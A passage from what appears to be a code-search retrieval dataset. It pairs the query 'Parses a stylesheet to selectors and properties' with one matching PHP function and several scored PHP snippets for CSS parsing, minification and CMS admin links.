{\n redirect('admin/posts-view');\n }\n \n theme('admin');\n \n $post = db_find('posts', 'title, content, description', $id);\n \n if (!$post) {\n not_found();\n }\n \n $form = posts_form();\n \n foreach ($post as $key => $value) {\n $form[$key]['value'] = $value;\n }\n \n layout('posts/modify', array(\n 'form' => $form,\n 'title' => 'View posts',\n 'action' => 'edit'\n ));\n}", "title": "" }, { "docid": "46b8b277bf5f0ae6c81feb1f404e4259", "score": "0.5644346", "text": "public function add_action_link($actions) {\n\t\t$custom_link = [\n\t\t\t'<a href=\"' . admin_url('admin.php?page=vtl-message-bar') . '\">Settings</a>',\n\t\t];\n\t\treturn array_merge($custom_link, $actions);\n\t}", "title": "" }, { "docid": "436243c7bace268fdf219074b7fc1a2d", "score": "0.56389827", "text": "public function editUrl(): string\n {\n return route('blogetc.admin.edit_post', $this->id);\n }", "title": "" }, { "docid": "bf9f9fd6beb5767722801c4c4155648e", "score": "0.5637453", "text": "function SetupOtherOptions() {\n\t\tglobal $Language, $Security;\n\t\t$options = &$this->OtherOptions;\n\t\t$option = &$options[\"action\"];\n\n\t\t// Add\n\t\t$item = &$option->Add(\"add\");\n\t\t$addcaption = ew_HtmlTitle($Language->Phrase(\"ViewPageAddLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . $addcaption . \"\\\" data-caption=\\\"\" . $addcaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->AddUrl) . \"',caption:'\" . $addcaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . $addcaption . \"\\\" data-caption=\\\"\" . $addcaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->AddUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\t$item->Visible = ($this->AddUrl <> \"\");\n\n\t\t// Edit\n\t\t$item = &$option->Add(\"edit\");\n\t\t$editcaption = ew_HtmlTitle($Language->Phrase(\"ViewPageEditLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . $editcaption . \"\\\" data-caption=\\\"\" . $editcaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->EditUrl) . \"',caption:'\" . $editcaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . $editcaption . \"\\\" data-caption=\\\"\" . $editcaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->EditUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\t$item->Visible = ($this->EditUrl <> \"\");\n\n\t\t// Copy\n\t\t$item = &$option->Add(\"copy\");\n\t\t$copycaption = ew_HtmlTitle($Language->Phrase(\"ViewPageCopyLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . $copycaption . \"\\\" data-caption=\\\"\" . $copycaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->CopyUrl) . \"',caption:'\" . $copycaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . $copycaption . \"\\\" data-caption=\\\"\" . $copycaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->CopyUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\t$item->Visible = ($this->CopyUrl <> \"\");\n\n\t\t// Delete\n\t\t$item = &$option->Add(\"delete\");\n\t\tif ($this->IsModal) // Handle as inline delete\n\t\t\t$item->Body = \"<a onclick=\\\"return ew_ConfirmDelete(this);\\\" class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode(ew_AddQueryStringToUrl($this->DeleteUrl, \"a_delete=1\")) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->DeleteUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\t$item->Visible = ($this->DeleteUrl <> \"\");\n\n\t\t// Set up action default\n\t\t$option = &$options[\"action\"];\n\t\t$option->DropDownButtonPhrase = $Language->Phrase(\"ButtonActions\");\n\t\t$option->UseImageAndText = TRUE;\n\t\t$option->UseDropDownButton = FALSE;\n\t\t$option->UseButtonGroup = TRUE;\n\t\t$item = &$option->Add($option->GroupOptionName);\n\t\t$item->Body = \"\";\n\t\t$item->Visible = FALSE;\n\t}", "title": "" }, { "docid": "656b5ed1c67e7fb3130fa7cd6308c888", "score": "0.5633602", "text": "function seed_entry_footer() {\n\n\tedit_post_link(\n\t\tsprintf(\n\t\t\t/* translators: %s: Name of current post */\n\t\t\tesc_html__( 'Edit %s', 'seed' ),\n\t\t\tthe_title( '<span class=\"screen-reader-text\">\"', '\"</span>', false )\n\t\t),\n\t\t'<span class=\"edit-link\">',\n\t\t'</span>'\n\t);\n}", "title": "" } ]
584ec7b7a527d20477dbd7ce4290405d
Parses a stylesheet to selectors and properties
[ { "docid": "2df275fcff5585bc89d1d86b18f688fe", "score": "0.64992476", "text": "public function parseStylesheet($stylesheet) {\n\t\t$parsed = array();\n\t\t$stylesheet = $this->_stripStylesheet($stylesheet);\n\t\t$stylesheet = trim(trim($stylesheet), \"}\");\n\t\tforeach(explode(\"}\", $stylesheet) as $rule) {\n\t\t\tlist($selector, $style) = explode(\"{\", $rule, 2);\n\t\t\t$parsed[] = array(trim($selector), trim(trim($style), \";\"));\n\t\t}\n\t\t\n\t\treturn $parsed;\n\t}", "title": "" } ]
[ { "docid": "9efa9271b6f49585e77720b35246ce73", "score": "0.66969144", "text": "function nl_readCSS($css)\n{\n\n $styles = array();\n\n // Match rule sets.\n $re = '/[^{]+\\s*\\{\\s*[^}]+\\s*}/';\n preg_match_all($re, $css, $matches);\n foreach ($matches[0] as $set) {\n\n // Match selector.\n $re = '/\\.(?P<selector>[a-z0-9_]+)\\s*\\{/';\n preg_match($re, $set, $matches);\n $selector = $matches['selector'];\n $styles[$selector] = array();\n\n // Match rules.\n $re = '/[a-z0-9-]+:\\s*[^;]+;/';\n preg_match_all($re, $set, $matches);\n foreach ($matches[0] as $rule) {\n\n // Match property.\n $re = '/(?P<property>[a-z0-9-]+)\\s*:/';\n preg_match($re, $rule, $matches);\n $prop = str_replace('-', '_', $matches['property']);\n\n // Match value.\n $re = '/:\\s*(?P<value>[^;]+)\\s*;/';\n preg_match($re, $rule, $matches);\n $val = $matches['value'];\n\n // Add to array.\n $styles[$selector][$prop] = $val;\n\n }\n\n }\n\n return $styles;\n\n}", "title": "" }, { "docid": "34a5c012023aee032a654b2d61bf83f5", "score": "0.6432751", "text": "protected function parseInputCSS() {\n if(!file_exists($this->inputCssPath))\n {\n $this->displayError(\"ERROR: File not found. Cannot load CSS definition file: {$this->inputCssPath}\");\n exit(66);\n }\n $parser = new cssparser(false);\n $parser->Parse($this->inputCssPath);\n $this->cssRules = $parser->css;\n }", "title": "" }, { "docid": "9968004943b08c1d57b1c646829947b4", "score": "0.6230934", "text": "private function parse(string $style){\r\n\t\t\t$css = array('rules'=>[],'ruleset'=>[],'import'=>[]);\r\n\t\t\t$g = str_replace(array(\"\\r\",\"\\n\"),'',$style);\r\n\t\t\t$g = preg_replace('#/\\*((?!\\*/).|\\n)+\\*/#','',$g);\r\n\t\t\t$g = preg_replace('/\\s+\\s/',' ',$g);\r\n\t\t\tif(preg_match_all('/@media([^{]+)\\{([\\s\\S]+?})\\s*}/',$g,$m)){\r\n\t\t\t\t$g = preg_replace('/@media[^{]+\\{([\\s\\S]+?})\\s*}/','',$g);\r\n\t\t\t\t$r = [];\r\n\t\t\t\tforeach($m[1] as $i=>$j){\r\n\t\t\t\t\t$n = trim($j,' ');\r\n\t\t\t\t\t$v = trim($m[2][$i],' ');\r\n\t\t\t\t\t$r[] = array('s'=>$n,'v'=>$this->matchRules($v));\r\n\t\t\t\t}\r\n\t\t\t\t$css['ruleset']['media'] = $r;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(preg_match_all('/@font-face[^{]+\\{([\\s\\S]+?)\\}/',$g,$m)){\r\n\t\t\t\t$g = preg_replace('/@font-face[^{]+\\{([\\s\\S]+?})/','',$g);\r\n\t\t\t\t\r\n\t\t\t\t$r = array_map(function($e){\r\n\t\t\t\t\treturn 'font-face{'.$e.'}';\r\n\t\t\t\t},$m[1]);\r\n\t\t\t\t$r = implode('',$r);\r\n\t\t\t\t$css['import']['fontFace'] = $this->matchRules($r);\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\tif(preg_match_all(\"#@import+\\surl([^;].+?);#\",$g,$m)){\r\n\t\t\t\t$g = preg_replace('#@import+\\surl+[^\\;](.*?);#','',$g);\r\n\t\t\t\t$r = array();\r\n\t\t\t\tforeach($m[1] as $i=>$j){\r\n\t\t\t\t\t$j = trim($j,'()');\r\n\t\t\t\t\t$j = preg_replace('/[\\\"\\']/','',$j);\r\n\t\t\t\t\t$r[] = $j;\r\n\t\t\t\t}\r\n\t\t\t\t$css['import']['URL'] = $r;\r\n\t\t\t}\r\n\t\t\tif(preg_match_all('/@([^{]+)\\{([\\s\\S]+?})\\s*}/',$g,$m)){\r\n\t\t\t\t$g = preg_replace('/@([^{]+)\\{([\\s\\S]+?})\\s*}/','',$g);\r\n\t\t\t\t$r = array();\r\n\t\t\t\tforeach($m[1] as $i=>$j){\r\n\t\t\t\t\tif(stripos($j,'keyframes') ===false)continue;\r\n\t\t\t\t\t$n = trim($j,' ');\r\n\t\t\t\t\t$n = explode(',',$n);\r\n\t\t\t\t\t$e = $this->matchRules($m[2][$i]);\r\n\t\t\t\t\t$r[] = array('s'=>$n,'v'=>$e);\r\n\t\t\t\t}\r\n\t\t\t\t$css['ruleset']['keyframes'] = $r;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$css['rules'] = $this->matchRules($g);\r\n\t\t\t\r\n\t\t\treturn $css;\r\n\t\t}", "title": "" }, { "docid": "cd527c3d00a77505b1e8ef9d4823ca78", "score": "0.61886823", "text": "function _parse_css ($str) {\n\t\t// Remove comments\n\t\t$str = preg_replace(\"/\\/\\*(.*)?\\*\\//Usi\", \"\", $str);\n\n\t\t// Parse csscode into array [selector] => array([properties]=>[values])\n\t\t$parts = explode(\"}\",$str);\n\t\tforeach ((array)$parts as $part) {\n\t\t\t$part = trim($part);\n\t\t\tlist($keystr,$codestr) = explode(\"{\",$part);\n\t\t\t$properties = explode(\";\", trim($codestr));\n\t\t\tforeach ((array)$properties as $A) {\n\t\t\t\tlist($property, $value) = explode(\":\", $A);\n\t\t\t\tif ($property != \"\"){\n\t\t\t\t\t$this->css[trim($keystr)][trim($property)] = trim($value);\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\t\n\t\t// Compare and create array of extracted elements\n\t\tforeach ((array)$this->css as $selector => $attr) {\n\t\t\t$new_attr = array_intersect_key($attr, $this->comparison_array);\n\t\t\tif (!empty($new_attr)) {\n\t\t\t\t$output_css_array[$selector] = $new_attr;\n\t\t\t}\n\t\t}\n\t\t// Create CSS file content from array\n\t\t$output_css = \"\";\n\t\tforeach ((array)$output_css_array as $selector => $attr_array) {\n\t\t\t$attributes = \"\";\n\t\t\tforeach ((array)$attr_array as $property => $value) {\n\t\t\t\t$attributes .= \"\\t\".$property.\": \".$value.\";\\r\\n\";\n\t\t\t}\n\t\t\t$output_css .= $selector.\" {\\r\\n\".$attributes.\"}\\r\\n\";\n\t\t}\n\t\treturn $output_css;\n\t}", "title": "" }, { "docid": "569ba99b6a73eda7983e4d73f93d6ffe", "score": "0.60537505", "text": "abstract public function stylesheets(): array;", "title": "" }, { "docid": "1feea84d04d167945ca7ce536c13d602", "score": "0.60475385", "text": "function parseCSS( $css ){\n \n $css_color_names = array(\n \"AliceBlue\"=>\"F0F8FF\",\"AntiqueWhite\"=>\"FAEBD7\",\"Aqua\"=>\"00FFFF\",\"Aquamarine\"=>\"7FFFD4\",\"Azure\"=>\"F0FFFF\",\"Beige\"=>\"F5F5DC\",\"Bisque\"=>\"FFE4C4\",\"Black\"=>\"000000\",\"BlanchedAlmond\"=>\"FFEBCD\",\"Blue\"=>\"0000FF\",\"BlueViolet\"=>\"8A2BE2\",\"Brown\"=>\"A52A2A\",\"BurlyWood\"=>\"DEB887\",\"CadetBlue\"=>\"5F9EA0\",\"Chartreuse\"=>\"7FFF00\",\"Chocolate\"=>\"D2691E\",\"Coral\"=>\"FF7F50\",\"CornflowerBlue\"=>\"6495ED\",\"Cornsilk\"=>\"FFF8DC\",\"Crimson\"=>\"DC143C\",\"Cyan\"=>\"00FFFF\",\"DarkBlue\"=>\"00008B\",\"DarkCyan\"=>\"008B8B\",\"DarkGoldenRod\"=>\"B8860B\",\"DarkGray\"=>\"A9A9A9\",\"DarkGrey\"=>\"A9A9A9\",\"DarkGreen\"=>\"006400\",\"DarkKhaki\"=>\"BDB76B\",\"DarkMagenta\"=>\"8B008B\",\"DarkOliveGreen\"=>\"556B2F\",\"Darkorange\"=>\"FF8C00\",\"DarkOrchid\"=>\"9932CC\",\"DarkRed\"=>\"8B0000\",\"DarkSalmon\"=>\"E9967A\",\"DarkSeaGreen\"=>\"8FBC8F\",\"DarkSlateBlue\"=>\"483D8B\",\"DarkSlateGray\"=>\"2F4F4F\",\"DarkSlateGrey\"=>\"2F4F4F\",\"DarkTurquoise\"=>\"00CED1\",\"DarkViolet\"=>\"9400D3\",\"DeepPink\"=>\"FF1493\",\"DeepSkyBlue\"=>\"00BFFF\",\"DimGray\"=>\"696969\",\"DimGrey\"=>\"696969\",\"DodgerBlue\"=>\"1E90FF\",\"FireBrick\"=>\"B22222\",\"FloralWhite\"=>\"FFFAF0\",\"ForestGreen\"=>\"228B22\",\"Fuchsia\"=>\"FF00FF\",\"Gainsboro\"=>\"DCDCDC\",\"GhostWhite\"=>\"F8F8FF\",\"Gold\"=>\"FFD700\",\"GoldenRod\"=>\"DAA520\",\"Gray\"=>\"808080\",\"Grey\"=>\"808080\",\"Green\"=>\"008000\",\"GreenYellow\"=>\"ADFF2F\",\"HoneyDew\"=>\"F0FFF0\",\"HotPink\"=>\"FF69B4\",\"IndianRed\"=>\"CD5C5C\",\"Indigo\"=>\"4B0082\",\"Ivory\"=>\"FFFFF0\",\n \"Khaki\"=>\"F0E68C\",\"Lavender\"=>\"E6E6FA\",\"LavenderBlush\"=>\"FFF0F5\",\"LawnGreen\"=>\"7CFC00\",\"LemonChiffon\"=>\"FFFACD\",\"LightBlue\"=>\"ADD8E6\",\"LightCoral\"=>\"F08080\",\"LightCyan\"=>\"E0FFFF\",\"LightGoldenRodYellow\"=>\"FAFAD2\",\"LightGray\"=>\"D3D3D3\",\"LightGrey\"=>\"D3D3D3\",\"LightGreen\"=>\"90EE90\",\"LightPink\"=>\"FFB6C1\",\"LightSalmon\"=>\"FFA07A\",\"LightSeaGreen\"=>\"20B2AA\",\"LightSkyBlue\"=>\"87CEFA\",\"LightSlateGray\"=>\"778899\",\"LightSlateGrey\"=>\"778899\",\"LightSteelBlue\"=>\"B0C4DE\",\"LightYellow\"=>\"FFFFE0\",\"Lime\"=>\"00FF00\",\"LimeGreen\"=>\"32CD32\",\"Linen\"=>\"FAF0E6\",\"Magenta\"=>\"FF00FF\",\"Maroon\"=>\"800000\",\"MediumAquaMarine\"=>\"66CDAA\",\"MediumBlue\"=>\"0000CD\",\"MediumOrchid\"=>\"BA55D3\",\"MediumPurple\"=>\"9370D8\",\"MediumSeaGreen\"=>\"3CB371\",\"MediumSlateBlue\"=>\"7B68EE\",\"MediumSpringGreen\"=>\"00FA9A\",\"MediumTurquoise\"=>\"48D1CC\",\"MediumVioletRed\"=>\"C71585\",\"MidnightBlue\"=>\"191970\",\"MintCream\"=>\"F5FFFA\",\"MistyRose\"=>\"FFE4E1\",\"Moccasin\"=>\"FFE4B5\",\"NavajoWhite\"=>\"FFDEAD\",\"Navy\"=>\"000080\",\"OldLace\"=>\"FDF5E6\",\"Olive\"=>\"808000\",\"OliveDrab\"=>\"6B8E23\",\"Orange\"=>\"FFA500\",\"OrangeRed\"=>\"FF4500\",\"Orchid\"=>\"DA70D6\",\"PaleGoldenRod\"=>\"EEE8AA\",\"PaleGreen\"=>\"98FB98\",\"PaleTurquoise\"=>\"AFEEEE\",\"PaleVioletRed\"=>\"D87093\",\"PapayaWhip\"=>\"FFEFD5\",\"PeachPuff\"=>\"FFDAB9\",\"Peru\"=>\"CD853F\",\"Pink\"=>\"FFC0CB\",\"Plum\"=>\"DDA0DD\",\"PowderBlue\"=>\"B0E0E6\",\"Purple\"=>\"800080\",\"Red\"=>\"FF0000\",\"RosyBrown\"=>\"BC8F8F\",\"RoyalBlue\"=>\"4169E1\",\"SaddleBrown\"=>\"8B4513\",\"Salmon\"=>\"FA8072\",\"SandyBrown\"=>\"F4A460\",\"SeaGreen\"=>\"2E8B57\",\"SeaShell\"=>\"FFF5EE\",\"Sienna\"=>\"A0522D\",\"Silver\"=>\"C0C0C0\",\"SkyBlue\"=>\"87CEEB\",\"SlateBlue\"=>\"6A5ACD\",\"SlateGray\"=>\"708090\",\"SlateGrey\"=>\"708090\",\"Snow\"=>\"FFFAFA\",\"SpringGreen\"=>\"00FF7F\",\"SteelBlue\"=>\"4682B4\",\"Tan\"=>\"D2B48C\",\"Teal\"=>\"008080\",\"Thistle\"=>\"D8BFD8\",\"Tomato\"=>\"FF6347\",\"Turquoise\"=>\"40E0D0\",\"Violet\"=>\"EE82EE\",\"Wheat\"=>\"F5DEB3\",\"White\"=>\"FFFFFF\",\"WhiteSmoke\"=>\"F5F5F5\",\"Yellow\"=>\"FFFF00\",\"YellowGreen\"=>\"9ACD32\");\n \n foreach($css_color_names as &$c)\n\t$c = \"#\".$c;\n\n //sort array by key lenght so we first search for LightGreen and then for Green\n uksort($css_color_names, \"keycmp\");\n //removing \"LightGrey\" etc\n $css = str_ireplace( array_keys($css_color_names), array_values($css_color_names), $css );\n //desaturating #f1A etc\n $css = preg_replace_callback(\"/#([0-9A-Fa-f])([0-9A-Fa-f])([0-9A-Fa-f])\\b/\",\"parseHexColor\",$css);\n //desaturating #f562A3 etc\n $css = preg_replace_callback(\"/#([0-9A-Fa-f]{2})([0-9A-Fa-f]{2})([0-9A-Fa-f]{2})\\b/\",\"parseHexColor\",$css);\n //desaturating rgb(1,23,120) etc\n $css = preg_replace_callback(\"/rgb\\(\\s*\\b([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\b\\s*,\\s*\\b([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\b\\s*,\\s*\\b([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\b\\s*\\)/i\",\"parseRgbColor\",$css);\n //desaturating rgb(10%,5%,100%) etc\n $css = preg_replace_callback(\"/rgb\\(\\s*(\\d?\\d%|100%)+\\s*,\\s*(\\d?\\d%|100%)+\\s*,\\s*(\\d?\\d%|100%)+\\s*\\)/i\",\"parsePercentColor\",$css);\n \n return $css;\n}", "title": "" }, { "docid": "bd6b92230cca6cf8d73b43257995e753", "score": "0.6023176", "text": "public function process($css) {\n\t\n $css = str_replace(\"\\r\\n\", \"\\n\", $css);\n \n // preserve empty comment after '>'\n // http://www.webdevout.net/css-hacks#in_css-selectors\n $css = preg_replace('@>/\\\\*\\\\s*\\\\*/@', '>/*keep*/', $css);\n \n // preserve empty comment between property and value\n // http://css-discuss.incutio.com/?page=BoxModelHack\n $css = preg_replace('@/\\\\*\\\\s*\\\\*/\\\\s*:@', '/*keep*/:', $css);\n $css = preg_replace('@:\\\\s*/\\\\*\\\\s*\\\\*/@', ':/*keep*/', $css);\n \n // apply callback to all valid comments (and strip out surrounding ws\n $css = preg_replace_callback('@\\\\s*/\\\\*([\\\\s\\\\S]*?)\\\\*/\\\\s*@'\n ,array($this, '_commentCB'), $css);\n\n // remove ws around { } and last semicolon in declaration block\n $css = preg_replace('/\\\\s*{\\\\s*/', '{', $css);\n $css = preg_replace('/;?\\\\s*}\\\\s*/', '}', $css);\n \n // remove ws surrounding semicolons\n $css = preg_replace('/\\\\s*;\\\\s*/', ';', $css);\n \n // remove ws around urls\n $css = preg_replace('/\n url\\\\( # url(\n \\\\s*\n ([^\\\\)]+?) # 1 = the URL (really just a bunch of non right parenthesis)\n \\\\s*\n \\\\) # )\n /x', 'url($1)', $css);\n \n // remove ws between rules and colons\n $css = preg_replace('/\n \\\\s*\n ([{;]) # 1 = beginning of block or rule separator \n \\\\s*\n ([\\\\*_]?[\\\\w\\\\-]+) # 2 = property (and maybe IE filter)\n \\\\s*\n :\n \\\\s*\n (\\\\b|[#\\'\"-]) # 3 = first character of a value\n /x', '$1$2:$3', $css);\n \n // remove ws in selectors\n $css = preg_replace_callback('/\n (?: # non-capture\n \\\\s*\n [^~>+,\\\\s]+ # selector part\n \\\\s*\n [,>+~] # combinators\n )+\n \\\\s*\n [^~>+,\\\\s]+ # selector part\n { # open declaration block\n /x'\n ,array($this, '_selectorsCB'), $css);\n \n // minimize hex colors\n $css = preg_replace('/([^=])#([a-f\\\\d])\\\\2([a-f\\\\d])\\\\3([a-f\\\\d])\\\\4([\\\\s;\\\\}])/i'\n , '$1#$2$3$4$5', $css);\n \n // remove spaces between font families\n $css = preg_replace_callback('/font-family:([^;}]+)([;}])/'\n ,array($this, '_fontFamilyCB'), $css);\n \n $css = preg_replace('/@import\\\\s+url/', '@import url', $css);\n \n // replace any ws involving newlines with a single newline\n $css = preg_replace('/[ \\\\t]*\\\\n+\\\\s*/', \"\\n\", $css);\n \n // separate common descendent selectors w/ newlines (to limit line lengths)\n $css = preg_replace('/([\\\\w#\\\\.\\\\*]+)\\\\s+([\\\\w#\\\\.\\\\*]+){/', \"$1\\n$2{\", $css);\n \n // Use newline after 1st numeric value (to limit line lengths).\n $css = preg_replace('/\n ((?:padding|margin|border|outline):\\\\d+(?:px|em)?) # 1 = prop : 1st numeric value\n \\\\s+\n /x'\n ,\"$1\\n\", $css);\n \n // prevent triggering IE6 bug: http://www.crankygeek.com/ie6pebug/\n $css = preg_replace('/:first-l(etter|ine)\\\\{/', ':first-l$1 {', $css);\n \n return trim($css);\n }", "title": "" }, { "docid": "31d473a745b610e0df5149e498e419bd", "score": "0.5977983", "text": "function avada_dynamic_css_parser( $css ) {\r\n\t/**\r\n\t * Prefixes.\r\n\t */\r\n\tforeach ( $css as $media_query => $elements ) {\r\n\t\tforeach ( $elements as $element => $style_array ) {\r\n\t\t\tforeach ( $style_array as $property => $value ) {\r\n\t\t\t\t// Font family.\r\n\t\t\t\tif ( 'font-family' === $property ) {\r\n\t\t\t\t\tif ( false === strpos( $value, ',' ) && false === strpos( $value, \"'\" ) && false === strpos( $value, '\"' ) ) {\r\n\t\t\t\t\t\t$value = \"'\" . $value . \"'\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['font-family'] = $value;\r\n\t\t\t\t} // border-radius.\r\n\t\t\t\telseif ( 'border-radius' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-border-radius'] = $value;\r\n\t\t\t\t} // box-shadow.\r\n\t\t\t\telseif ( 'box-shadow' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-box-shadow'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-box-shadow'] = $value;\r\n\t\t\t\t} // box-sizing.\r\n\t\t\t\telseif ( 'box-sizing' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-box-sizing'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-box-sizing'] = $value;\r\n\t\t\t\t} // text-shadow.\r\n\t\t\t\telseif ( 'text-shadow' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-text-shadow'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-text-shadow'] = $value;\r\n\t\t\t\t} // transform.\r\n\t\t\t\telseif ( 'transform' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-transform'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-transform'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-ms-transform'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-o-transform'] = $value;\r\n\t\t\t\t} // background-size.\r\n\t\t\t\telseif ( 'background-size' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-background-size'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-background-size'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-ms-background-size'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-o-background-size'] = $value;\r\n\t\t\t\t} // transition.\r\n\t\t\t\telseif ( 'transition' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-transition'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-transition'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-ms-transition'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-o-transition'] = $value;\r\n\t\t\t\t} // transition-property.\r\n\t\t\t\telseif ( 'transition-property' == $property ) {\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-webkit-transition-property'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-moz-transition-property'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-ms-transition-property'] = $value;\r\n\t\t\t\t\t$css[ $media_query ][ $element ]['-o-transition-property'] = $value;\r\n\t\t\t\t} // linear-gradient.\r\n\t\t\t\telseif ( is_array( $value ) ) {\r\n\t\t\t\t\tforeach ( $value as $subvalue ) {\r\n\t\t\t\t\t\tif ( false !== strpos( $subvalue, 'linear-gradient' ) ) {\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-webkit-' . $subvalue;\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-moz-' . $subvalue;\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-ms-' . $subvalue;\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-o-' . $subvalue;\r\n\t\t\t\t\t\t} // calc.\r\n\t\t\t\t\t\telseif ( 0 === stripos( $subvalue, 'calc' ) ) {\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-webkit-' . $subvalue;\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-moz-' . $subvalue;\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-ms-' . $subvalue;\r\n\t\t\t\t\t\t\t$css[ $media_query ][ $element ][ $property ][] = '-o-' . $subvalue;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Process the array of CSS properties and produce the final CSS.\r\n\t */\r\n\t$final_css = '';\r\n\tforeach ( $css as $media_query => $styles ) {\r\n\r\n\t\t$final_css .= ( 'global' != $media_query ) ? $media_query . '{' : '';\r\n\r\n\t\tforeach ( $styles as $style => $style_array ) {\r\n\t\t\t$final_css .= $style . '{';\r\n\t\t\tforeach ( $style_array as $property => $value ) {\r\n\t\t\t\tif ( is_array( $value ) ) {\r\n\t\t\t\t\tforeach ( $value as $sub_value ) {\r\n\t\t\t\t\t\t$final_css .= $property . ':' . $sub_value . ';';\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$final_css .= $property . ':' . $value . ';';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$final_css .= '}';\r\n\t\t}\r\n\r\n\t\t$final_css .= ( 'global' != $media_query ) ? '}' : '';\r\n\r\n\t}\r\n\r\n\treturn apply_filters( 'avada_dynamic_css', $final_css );\r\n\r\n}", "title": "" }, { "docid": "47554686f460205ad6de91696070625d", "score": "0.59580934", "text": "function getCssStyle($dom)\n\t{\n\t $mark_ex = 0;\n\t $mark_em = 0;\n\t $mark_in = 0;\n\n\t // Find External Stylesheets\n\t $external_style = $dom->getElementsByTagName('link');\n\t foreach($external_style as $external)\n\t {\n\t\tif(($external->getAttribute('rel')) === 'stylesheet')\n\t\t{\n\t\t $mark_ex++;\n\t\t}\n\t }\n\n\t // Find Embedded Stylesheets\n\t $embedded_style = $dom->getElementsByTagName('style');\n\t 